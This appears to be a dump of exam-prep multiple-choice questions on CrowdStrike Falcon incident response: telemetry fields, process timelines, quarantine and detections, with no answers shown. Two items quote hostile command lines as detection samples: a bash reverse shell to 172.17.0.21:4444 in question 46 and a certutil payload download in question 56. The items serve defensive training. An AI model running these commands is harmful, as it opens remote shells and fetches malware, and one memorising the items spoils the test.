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Questions 1

Refer to the image.

What does the arrowed line indicate?

Options:

A.  

PowerShell spawned Notepad.exe, which injected a thread back to Excel.exe

B.  

The thread injection was considered a Medium severity injection

C.  

PowerShell spawned Notepad.exe, which injected a thread back to PowerShell

D.  

Notepad.exe injected itself into Excel.exe

Discussion 0
Questions 2

When reviewing a Host Timeline, which of the following filters is available?

Options:

A.  

Severity

B.  

Event Types

C.  

User Name

D.  

Detection ID

Discussion 0
Questions 3

When examining raw event data, what is the purpose of the field called ParentProcessld_decimal?

Options:

A.  

It contains an internal value not useful for an investigation

B.  

It contains the TargetProcessld_decimal value of the child process

C.  

It contains the Sensorld_decimal value for related events

D.  

It contains the TargetProcessld_decimal of the parent process

Discussion 0
Questions 4

During an advanced hunting session, a responder is writing a custom query in the Event Search tool to track the lineage of a suspicious process. They notice a field labeled TargetProcessId_decimal. Which of the following sentences accurately describes the technical significance of this value within the CrowdStrike telemetry ecosystem?

Options:

A.  

It is the standard Process ID (PID) assigned by the Windows Task Manager.

B.  

It is a sensor-assigned, environment-wide unique decimal identifier for that specific process instance.

C.  

It represents the memory offset where the process ' s primary thread began.

D.  

It is a count of the total number of child processes spawned by that executable.

Discussion 0
Questions 5

An analyst needs to quickly view the activity surrounding a suspicious process. Which of the following sequences of steps will pivot to an auto-filled process timeline in the Falcon UI?

Options:

A.  

Host Search > Processes and Services > Filename > Start Time > Process ID

B.  

Activity Dashboard > Click Detection > Export to PDF

C.  

Investigate > Bulk Search > Enter SHA256 > View Results

D.  

Configuration > Host Groups > Select Host > Network History

Discussion 0
Questions 6

After pivoting to an event search from a detection, you locate the ProcessRollup2 event. Which two field values are you required to obtain to perform a Process Timeline search so you can determine what the process was doing?

Options:

A.  

SHA256 and TargetProcessld_decimal

B.  

SHA256 and ParentProcessld_decimal

C.  

aid and ParentProcessld_decimal

D.  

aid and TargetProcessld_decimal

Discussion 0
Questions 7

Refer to the image.

You receive the detection displayed in the image above on a host in your environment.

Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?

Options:

A.  

Investigate > Connect to host

B.  

View Incident > Connect to host

C.  

Actions > Connect to host

Discussion 0
Questions 8

In the ' Investigate > Hunt > Linux Sensors ' dashboard, responders can view various Linux-specific activities. Which of the following sub-titling is NOT displayed in this dashboard?

Options:

A.  

Sudo Executions

B.  

Cron Usage

C.  

Kernel Module Loads

D.  

User Logins

Discussion 0
Questions 9

When is a SyntheticProcessRollup2 event type found?

Options:

A.  

When events are combined with analyst-found contextual information

B.  

When events are updated manually by the OverWatch team

C.  

When events are recorded with Charlotte AI interactions

D.  

When events are generated for a process that started before the sensor

Discussion 0
Questions 10

What must be true about a custom script before it can be executed from within a Fusion SOAR Workflow?

Options:

A.  

The Response Policy must allow for the execution of Workflows

B.  

The script must exist on the host locally

C.  

The script must contain input and output JSON fields

D.  

The Share with workflows option must be enabled for the custom script

Discussion 0
Questions 11

What is an advantage of using a Process Timeline?

Options:

A.  

Process related events can be filtered to display specific event types

B.  

Suspicious processes are color-coded based on their frequency and legitimacy over time

C.  

Processes responsible for spikes in CPU performance are displayed overtime

D.  

A visual representation of Parent-Child and Sibling process relationships is provided

Discussion 0
Questions 12

If a file has a prevalence of ' Local: Low ' and ' Global: High ' , what does this typically indicate to a responder?

Options:

A.  

The file is a targeted piece of malware specifically designed for the company.

B.  

The file is common off-the-shelf software or malware seen across many environments.

C.  

The file is a custom script written by a local administrator.

D.  

The file is a unique configuration file for a proprietary application.

Discussion 0
Questions 13

To ensure that a malicious file cannot be accidentally executed or accessed by other processes, how are quarantined files stored on the local endpoints?

Options:

A.  

They are hidden within the Windows System32 directory.

B.  

They are stored in an encrypted format.

C.  

They are renamed with a random 32-character extension.

D.  

They are moved to a password-protected ZIP file on the desktop.

Discussion 0
Questions 14

The Falcon sensor can take several automated actions to protect an endpoint. Which of the following is NOT an action that Falcon takes upon detection?

Options:

A.  

Process Termination

B.  

File Quarantine

C.  

Process Restart

D.  

Network Isolation

Discussion 0
Questions 15

When examining a raw DNS request event, you see a field called ContextProcessld_decimal. What is the purpose of that field?

Options:

A.  

It contains the TargetProcessld_decimal value for other related events

B.  

It contains an internal value not useful for an investigation

C.  

It contains the ContextProcessld_decimal value for the parent process that made the DNS request

D.  

It contains the TargetProcessld_decimal value for the process that made the DNS request

Discussion 0
Questions 16

What happens when you open the full detection details?

Options:

A.  

Theprocess explorer opens and the detection is removed from the console

B.  

The process explorer opens and you ' re able to view the processes and process relationships

C.  

The process explorer opens and the detection copies to the clipboard

D.  

The process explorer opens and the Event Search query is run for the detection

Discussion 0
Questions 17

You are responding to a cybersecurity incident and observe several outbound network connections from host Bob-Desktop. Upon review, you determine this to be a result of a Threat Actor ' s attempt to exfiltrate data.

What action should you take to stop the exfiltration using the Falcon Platform?

Options:

A.  

Use the Falcon console to network contain Bob-Desktop

B.  

Access Bob-Desktop via RTR and run the contain command

C.  

Find the IP address associated with the exfiltration and block it by creating an IOA

D.  

Find the IP address associated with the exfiltration and block it by creating an IOC

Discussion 0
Questions 18

A security analyst is triaging a high-severity alert on a critical production server. To understand the adversary ' s intent and technical execution within the framework of industry standards, the analyst refers to the console ' s categorization. Which specific methodology does CrowdStrike utilize within the Falcon platform to classify detections based on technical behavior?

Options:

A.  

MITRE-Based Falcon Detections Framework

B.  

NIST Incident Response Lifecycle

C.  

Falcon Adversary Attribution Matrix

D.  

Cyber Kill Chain Classification

Discussion 0
Questions 19

Which of the following sentences best describes the primary use of ' Retrospective Analysis ' ?

Options:

A.  

Identifying future threats using predictive AI models.

B.  

Applying an investigative approach across historical timed buckets of telemetry to find past activity.

C.  

Terminating a malicious process as it starts to execute.

D.  

Recovering files that were encrypted by a ransomware attack.

Discussion 0
Questions 20

The Falcon platform will show a maximum of how many detections per day for a single Agent Identifier (AID)?

Options:

A.  

500

B.  

750

C.  

1000

D.  

1200

Discussion 0
Questions 21

On the Host Timeline dashboard, what built-in parameter would you modify in order to filter specific events in the timeline?

Options:

A.  

#event_timelineName

B.  

#event_Name

C.  

#event_simpleName

D.  

#event_simpleType

Discussion 0
Questions 22

Refer to the image.

You are using Advanced Event Search to find the event record for a suspicious network connection.

Using the Event List Interactions button for the event, indicated by the arrow in the image above, which option will show all contextual event data around the process execution being investigated?

Options:

A.  

Show Responsible Process Data

B.  

Inspect

C.  

Show +/- 10-minute windows of events

D.  

Investigate Host

Discussion 0
Questions 23

When a responder needs to take data out of the Falcon console for external analysis, which of the following is NOT an option when exporting searches?

Options:

A.  

CSV

B.  

JSON

C.  

PDF

D.  

Gzip

Discussion 0
Questions 24

Which of the following is NOT a valid event type?

Options:

A.  

StartofProcess

B.  

EndofProcess

C.  

ProcessRollup2

D.  

DnsRequest

Discussion 0
Questions 25

Executive dashboards provide a high-level view of security. Which of the following CANNOT be seen from the Executive Summary Dashboard?

Options:

A.  

Detections broken down by Tactic.

B.  

A breakdown of Agent Versions across the fleet.

C.  

The top 10 hosts with the most detections.

D.  

The organization’s current CrowdScore trend.

Discussion 0
Questions 26

While most searches are accessible from a detection, some require a manual jump. Which search is not available as a direct pivot from a detection?

Options:

A.  

Host Search

B.  

Hash Search

C.  

User Search

D.  

IP Search

Discussion 0
Questions 27

In various telemetry events like ' FileWrite ' or ' NetworkConnect ' , Falcon identifies the process that performed the action. Which field will always identify this " acting " process?

Options:

A.  

ContextProcessId_decimal

B.  

TargetProcessId_decimal

C.  

ParentProcessId_decimal

D.  

OwnerProcessId_decimal

Discussion 0
Questions 28

Data retention is a key factor in retrospective hunting. How long will " Detection Related Events " be retained in the Falcon environment?

Options:

A.  

30 days

B.  

60 days

C.  

90 days

D.  

1 year

Discussion 0
Questions 29

While the host timeline is comprehensive, some data is not included in that specific view. Which of the following CANNOT be seen directly from the host timeline?

Options:

A.  

Timestamp

B.  

Event Name

C.  

PID (Process ID)

D.  

CPU Temperature

Discussion 0
Questions 30

You can jump to a Process Timeline from many views, like a Hash Search, by clicking which of the following?

Options:

A.  

ProcessTimeline Link

B.  

PID

C.  

UTCtime

D.  

Process ID or Parent Process ID

Discussion 0
Questions 31

Which of the following sentences best describes the primary objective of ' Real-time Analysis ' within the Falcon platform?

Options:

A.  

Analyzing historical logs from the past 90 days to find missed threats.

B.  

Investigating incoming telemetry in real time or on a near real-time basis to catch active threats.

C.  

Scanning every file on a hard drive once per week for dormant viruses.

D.  

Manually updating the Falcon sensor on every machine in the fleet.

Discussion 0
Questions 32

Where are quarantined files stored on Windows hosts?

Options:

A.  

Windows\Quarantine

B.  

Windows\System32\Drivers\CrowdStrike\Quarantine

C.  

Windows\System32\

D.  

Windows\temp\Drivers\CrowdStrike\Quarantine

Discussion 0
Questions 33

While quarantined files stay on the local host for 30 days by default, how many days does a quarantined file remain stored in the CrowdStrike Cloud?

Options:

A.  

30 days

B.  

60 days

C.  

90 days

D.  

180 days

Discussion 0
Questions 34

In the Falcon console, detections can be automated or manual. Which of the following options represents a manual detection?

Options:

A.  

A detection triggered by the Machine Learning engine.

B.  

A Falcon Overwatch-pushed detection.

C.  

A detection based on a Custom IOA.

D.  

A detection matched against a known Intelligence IOC.

Discussion 0
Questions 35

When reviewing CrowdScore Incidents, which of the following statements is INCORRECT?

Options:

A.  

Incidents aggregate related detections to reduce alert fatigue.

B.  

Incidents are defined as inactive after 10 hours pass without any new related activity.

C.  

A high CrowdScore indicates a higher likelihood of a sophisticated or widespread attack.

D.  

CrowdScore is only visible to users with the ' Falcon Administrator ' role.

Discussion 0
Questions 36

Analyze the following process lineage observed during a detection triage on a Windows 10 workstation:

root > smss.exe > winlogon.exe > userinit.exe > explorer.exe > windows_media_player_y35s21-4ak.exe.

Based on the fact that the suspicious process originated from the user ' s desktop shell environment (explorer.exe), what is the most likely entry vector for this attack?

Options:

A.  

Remote exploitation of a system service

B.  

User execution via a Phishing email or drive-by download

C.  

Malicious persistence via a WMI event subscription

D.  

Credential theft through a compromised Domain Controller

Discussion 0
Questions 37

CrowdStrike implements a specific framework within the Falcon console to help responders categorize detections based on the adversary’s ultimate goals and the technical means used to achieve them. This classification system, which maps activity to known industry standards, is known as the:

Options:

A.  

MITRE-Based Falcon Detections Framework

B.  

Falcon Adversary Attribution and Motivation Matrix

C.  

Unified Behavioral Threat Hunting Schema

D.  

CrowdStrike Intelligence Lifecycle Mapping

Discussion 0
Questions 38

The Process Activity View provides a rows-and-columns style view of the events generated in a detection. Why might this be helpful?

Options:

A.  

The Process Activity View creates a consolidated view of all detection events for that process that can be exported for further analysis

B.  

The Process Activity View will show the Detection time of the earliest recorded activity which might indicate first affected machine

C.  

The Process Activity View only creates a summary of Dynamic Link Libraries (DLLs) loaded by a process

D.  

The Process Activity View creates a count of event types only, which can be useful when scoping the event

Discussion 0
Questions 39

A responder needs to view a high-level overview of the environment ' s security posture. Where can they find the ' Activity Dashboard ' ?

Options:

A.  

Investigate > Activity Dashboard

B.  

Endpoint Security > Monitor > Activity Dashboard

C.  

Configuration > General > Activity Dashboard

D.  

Support > Analytics > Activity Dashboard

Discussion 0
Questions 40

What information is contained within a Process Timeline?

Options:

A.  

All cloudable process-related events within a given timeframe

B.  

All cloudable events for a specific host

C.  

Only detection process-related events within a given timeframe

D.  

A view of activities on Mac or Linux hosts

Discussion 0
Questions 41

What happens when a hash is set to Always Block through IOC Management?

Options:

A.  

Execution is prevented on all hosts by default

B.  

Execution is prevented on selected host groups

C.  

Execution is prevented and detection alerts are suppressed

D.  

The hash is submitted for approval to be blocked from execution once confirmed by Falcon specialists

Discussion 0
Questions 42

Sensor Visibility Exclusion patterns are written in which syntax?

Options:

A.  

Glob Syntax

B.  

Kleene Star Syntax

C.  

RegEx

D.  

SPL(Splunk)

Discussion 0
Questions 43

When an analyst downloads a quarantined file from the Falcon UI for offline analysis, what is the specific file format and the required password for extraction?

Options:

A.  

The file is downloaded as a 7-zip archive and requires the password ' infected ' for extraction.

B.  

The file is downloaded in its raw binary format without any encryption or compression.

C.  

The file is downloaded as a standard ZIP archive but does not require a password to open.

D.  

The file is downloaded as an encrypted .exe that can only be opened by a CrowdStrike sensor.

Discussion 0
Questions 44

An analyst needs to perform local sandbox analysis on a malicious file. When they download a quarantined file from the Falcon UI, what is the file format and the default password?

Options:

A.  

.zip, password: crowdstrike

B.  

.7-zip, password: infected

C.  

.rar, password: malware

D.  

.exe, no password

Discussion 0
Questions 45

Host Search is a powerful investigation tool. From which of the following sources is a responder most likely to pivot directly to a Host Search?

Options:

A.  

A global intelligence report about a new adversary.

B.  

A specific detection that occurred on a particular host.

C.  

The main settings menu of the Falcon console.

D.  

The help documentation in the Support portal.

Discussion 0
Questions 46

Refer to the image.

Command line:

/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1

File path:

/bin/bash

You receive a detection on the Bash process indicating the command line in the image above.

Based on the command line, what is the next step you should take?

Options:

A.  

Investigate the host for manipulation of the root folder

B.  

Investigate the host for any Potentially Unwanted Programs (PUP)

C.  

Investigate the host for an interactive remote terminal

D.  

Investigate the host for developer activity

Discussion 0
Questions 47

What does the Full Detection Details option provide?

Options:

A.  

It provides a visualization of program ancestry via the Process Tree View

B.  

It provides a visualization of program ancestry via the Process Activity View

C.  

It provides detailed list of detection events via the Process Table View

D.  

It provides a detailed list of detection events via the Process Tree View

Discussion 0
Questions 48

To speed up investigations, Falcon uses ' event workflows ' . Which of the following sentences best describes what event workflows are?

Options:

A.  

They are automated scripts that perform remediation actions like killing processes.

B.  

They are automated searches that can be used to pivot between related events and searches.

C.  

They are PDF reports that summarize an incident for executive review.

D.  

They are schedules for when the sensor should perform a full disk scan.

Discussion 0
Questions 49

You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?

Options:

A.  

Falcon X

B.  

Investigate

C.  

Discover

D.  

Spotlight

Discussion 0
Questions 50

During the incident response process, a responder must update the status of a detection. Which of the following options is NOT a valid detection status recognized by the Falcon console?

Options:

A.  

New

B.  

Complete

C.  

In Progress

D.  

True Positive

Discussion 0
Questions 51

After an investigation, the following malicious artifacts have been identified:

    C:\Users*\AppData\iamnotmalware.exe

    C:\Users*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iamnotmalware.lnk

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iamnotmalware_really

What method will remove all associated artifacts from hosts that trigger future related detections?

Options:

A.  

Create a Quarantine Rule that will quarantine all identified artifacts across the entire environment

B.  

Create Custom IOA rules to prevent the execution of these artifacts

C.  

Create a workflow to trigger on a new endpoint detection, query the telemetry data of the endpoint for known artifacts, and select Remove All Associated Artifacts as an action

D.  

Create a workflow to trigger on a new endpoint detection, conditions that match the detection, and as an action a PowerShell script to kill associated processes and remove all artifacts

Discussion 0
Questions 52

Where are quarantine files located on a Mac Endpoint?

Options:

A.  

/tmp/cs/quarantine

B.  

/Library/CS/Quarantine

C.  

/Applications/Falcon/Quarantine

D.  

/Users/Shared/CS/Quarantine

Discussion 0
Questions 53

How long does detection data remain in the CrowdStrike Cloud before purging begins?

Options:

A.  

90 Days

B.  

45 Days

C.  

30 Days

D.  

14 Days

Discussion 0
Questions 54

An analyst wants to see the raw events behind a specific detection. Which icon in the UI allows them to pivot directly to an event search?

Options:

A.  

Shield icon

B.  

Spyglass icon

C.  

Trash can icon

D.  

Gear icon

Discussion 0
Questions 55

Following a detection involving a suspected ransomware binary, the Falcon sensor automatically takes a prevention action to prevent the file from executing. An analyst needs to retrieve this file for local sandbox analysis. Considering the default configuration, for how many days will this file remain stored in the encrypted quarantine folder on the local endpoint?

Options:

A.  

7 days

B.  

14 days

C.  

30 days

D.  

90 days

Discussion 0
Questions 56

You receive a detection on certutil.exe executing the following command line:

certutil -urlcache -split -f " hxxps[:]//github[.] com/Endizz/Payloads/raw/main/MyMaliciousTools.zip " " MyMaliciousTools.zip "

What is the appropriate next step to discover how this occurred?

Options:

A.  

Investigate host event logs pertaining to logon-type events

B.  

Investigate the process tree and determine what executed certutil.exe

C.  

Investigate the host by using on-demand scans

D.  

Investigate the host’s firewall settings

Discussion 0
Questions 57

To understand how a threat moved on a system, a responder must know the role of common processes. Which of the following statements best describes the standard functionality of explorer.exe?

Options:

A.  

It is a system process responsible for the Local Security Authority subsystem.

B.  

It is the primary process responsible for the File Explorer UI and the user ' s desktop environment.

C.  

It is the Windows Command Processor used for executing batch files.

D.  

It is the service control manager that handles the starting of background tasks.

Discussion 0
Questions 58

When viewing the summary list on the ' Endpoint Detections ' page, an analyst sees a column for the timestamp. What does the timestamp in this specific summary view represent?

Options:

A.  

The exact time the Falcon sensor was first installed on the host.

B.  

The timestamp of the last activity recorded for that specific detection.

C.  

The time the detection was first assigned to a human analyst.

D.  

The file creation time for the primary process involved in the alert.

Discussion 0
Questions 59

CrowdStrike supports various deployment types. What is a ' POD sensor ' ?

Options:

A.  

A sensor specifically designed for mobile devices (iOS/Android).

B.  

A sensor that is installed directly on a Kubernetes or Docker host to monitor containers.

C.  

A legacy sensor used only for disconnected or air-gapped systems.

D.  

A physical appliance that sits on the network to monitor traffic.

Discussion 0
Questions 60

Evaluate the following process tree observed in a detection:

root > smss.exe > winlogon.exe > userinit.exe > explorer.exe > windows_media_player_y35s21-4ak.exe

Based on the parent-child relationships, which entry source is most likely?

Options:

A.  

A remote service exploitation targeting a system process.

B.  

A phishing attack where the user executed a malicious file from the desktop.

C.  

A scheduled task running under the SYSTEM account.

D.  

A supply chain attack targeting the Windows Boot manager.

Discussion 0
Questions 61

In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?

Options:

A.  

Scripts (.ps1, .sh)

B.  

Executables (.exe)

C.  

Executions (Process starts)

D.  

Archive files (.zip, .7z)

Discussion 0